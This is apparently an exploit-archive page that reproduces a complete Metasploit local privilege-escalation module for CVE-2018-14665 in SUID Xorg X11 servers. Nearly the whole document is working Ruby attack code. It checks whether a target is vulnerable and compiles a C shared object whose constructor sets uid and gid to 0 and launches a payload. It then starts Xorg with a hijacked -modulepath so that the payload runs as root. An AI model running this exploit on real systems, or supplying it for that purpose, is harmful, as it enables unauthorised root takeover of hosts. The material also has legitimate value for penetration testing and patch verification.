Xorg X11 Server SUID modulepath Privilege Escalation

2019.10.23
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-264

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = GoodRanking include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::Priv include Msf::Post::Linux::Kernel include Msf::Post::Linux::System def initialize(info = {}) super(update_info(info, 'Name' => 'Xorg X11 Server SUID modulepath Privilege Escalation', 'Description' => %q{ This module attempts to gain root privileges with SUID Xorg X11 server versions 1.19.0 < 1.20.3. A permission check flaw exists for -modulepath and -logfile options when starting Xorg. This allows unprivileged users that can start the server the ability to elevate privileges and run arbitrary code under root privileges. This module has been tested with CentOS 7 (1708). CentOS default install will require console auth for the users session. Xorg must have SUID permissions and may not start if running. On successful exploitation artifacts will be created consistant with starting Xorg. }, 'License' => MSF_LICENSE, 'Author' => [ 'Narendra Shinde', # Discovery and exploit 'Aaron Ringo', # Metasploit module ], 'DisclosureDate' => 'Oct 25 2018', 'References' => [ [ 'CVE', '2018-14665' ], [ 'BID', '105741' ], [ 'EDB', '45697' ], [ 'EDB', '45742' ], [ 'EDB', '45832' ], [ 'URL', 'https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html' ] ], 'Platform' => %w[linux unix solaris], 'Arch' => [ARCH_X86, ARCH_X64], 'SessionTypes' => %w[shell meterpreter], 'Targets' => [ ['Linux x64', { 'Platform' => 'linux', 'Arch' => ARCH_X64 } ], ['Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ], ['Solaris x86', { 'Platform' => [ 'solaris', 'unix' ], 'Arch' => ARCH_SPARC } ], ['Solaris x64', { 'Platform' => [ 'solaris', 'unix' ], 'Arch' => ARCH_SPARC } ], ], 'DefaultTarget' => 0)) register_advanced_options( [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), OptString.new('Xdisplay', [ true, 'Display exploit will attempt to use', ':1' ]), OptBool.new('ConsoleLock', [ true, 'Will check for console lock under linux', true ]), OptString.new('sofile', [ true, 'Xorg shared object name for modulepath', 'libglx.so' ]) ] ) end def check # linux checks uname = cmd_exec "uname" if uname =~ /linux/i vprint_status "Running additional check for Linux" if datastore['ConsoleLock'] user = cmd_exec "id -un" unless exist? "/var/run/console/#{user}" vprint_error "No console lock for #{user}" return CheckCode::Safe end vprint_good "Console lock for #{user}" end end # suid program check xorg_path = cmd_exec "command -v Xorg" unless xorg_path.include?("Xorg") vprint_error "Could not find Xorg executable" return CheckCode::Safe end vprint_good "Xorg path found at #{xorg_path}" unless setuid? xorg_path vprint_error "Xorg binary #{xorg_path} is not SUID" return CheckCode::Safe end vprint_good "Xorg binary #{xorg_path} is SUID" x_version = cmd_exec "Xorg -version" if x_version.include?("Release Date") v = Gem::Version.new(x_version.scan(/\d\.\d+\.\d+/).first) unless v.between?(Gem::Version.new('1.19.0'), Gem::Version.new('1.20.2')) vprint_error "Xorg version #{v} not supported" return CheckCode::Safe end elsif x_version.include?("Fatal server error") vprint_error "User probably does not have console auth" vprint_error "Below is Xorg -version output" vprint_error x_version return CheckCode::Safe else vprint_warning "Could not parse Xorg -version output" return CheckCode::Appears end vprint_good "Xorg version #{v} is vulnerable" # process check for /X proc_list = cmd_exec "ps ax" if proc_list.include?('/X ') vprint_warning('Xorg in process list') return CheckCode::Appears end vprint_good('Xorg does not appear to be running') return CheckCode::Vulnerable end def check_arch_and_compile(path, data) cpu = '' if target['Arch'] == ARCH_X86 cpu = Metasm::Ia32.new compile_with_metasm(cpu, path, data) elsif target['Arch'] == ARCH_SPARC compile_with_gcc(path, data) else cpu = Metasm::X86_64.new compile_with_metasm(cpu, path, data) end end def compile_with_metasm(cpu, path, data) shared_obj = Metasm::ELF.compile_c(cpu, data).encode_string(:lib) write_file(path, shared_obj) register_file_for_cleanup path chmod path rescue print_status('Failed to compile with Metasm. Falling back to compiling with GCC.') compile_with_gcc(path, data) end def compile_with_gcc(path, data) unless has_gcc? fail_with Failure::BadConfig, 'gcc is not installed' end vprint_good 'gcc is installed' src_path = "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(6..10)}.c" write_file(src_path, data) gcc_cmd = "gcc -fPIC -shared -o #{path} #{src_path} -nostartfiles" if session.type.eql? 'shell' gcc_cmd = "PATH=$PATH:/usr/bin/ #{gcc_cmd}" end output = cmd_exec gcc_cmd register_file_for_cleanup src_path register_file_for_cleanup path unless output.blank? print_error output fail_with Failure::Unknown, "#{src_path} failed to compile" end chmod path end def exploit check_status = check if check_status == CheckCode::Appears print_warning 'Could not get version or Xorg process possibly running, may fail' elsif check_status == CheckCode::Safe fail_with Failure::NotVulnerable, 'Target not vulnerable' end if is_root? fail_with Failure::BadConfig, 'This session already has root privileges' end unless writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end print_good 'Passed all initial checks for exploit' modulepath = datastore['WritableDir'] sofile = "#{modulepath}/#{datastore['sofile']}" pscript = "#{modulepath}/.session-#{rand_text_alphanumeric 5..10}" xdisplay = datastore['Xdisplay'] stub = %Q^ extern int setuid(int); extern int setgid(int); extern int system(const char *__s); void _init(void) __attribute__((constructor)); void __attribute__((constructor)) _init() { setgid(0); setuid(0); system("#{pscript} &"); } ^ print_status 'Writing launcher and compiling' check_arch_and_compile(sofile, stub) # Uploading print_status 'Uploading your payload, this could take a while' if payload.arch.first == 'cmd' write_file(pscript, payload.encoded) else write_file(pscript, generate_payload_exe) end chmod pscript register_file_for_cleanup pscript # Actual exploit with cron overwrite print_status 'Exploiting' #Xorg -logfile derp -modulepath ',/tmp' :1 xorg_cmd = "Xorg -modulepath ',#{modulepath}' #{xdisplay} & >/dev/null" cmd_exec xorg_cmd Rex.sleep 7 cmd_exec "pkill Xorg" Rex.sleep 1 end end


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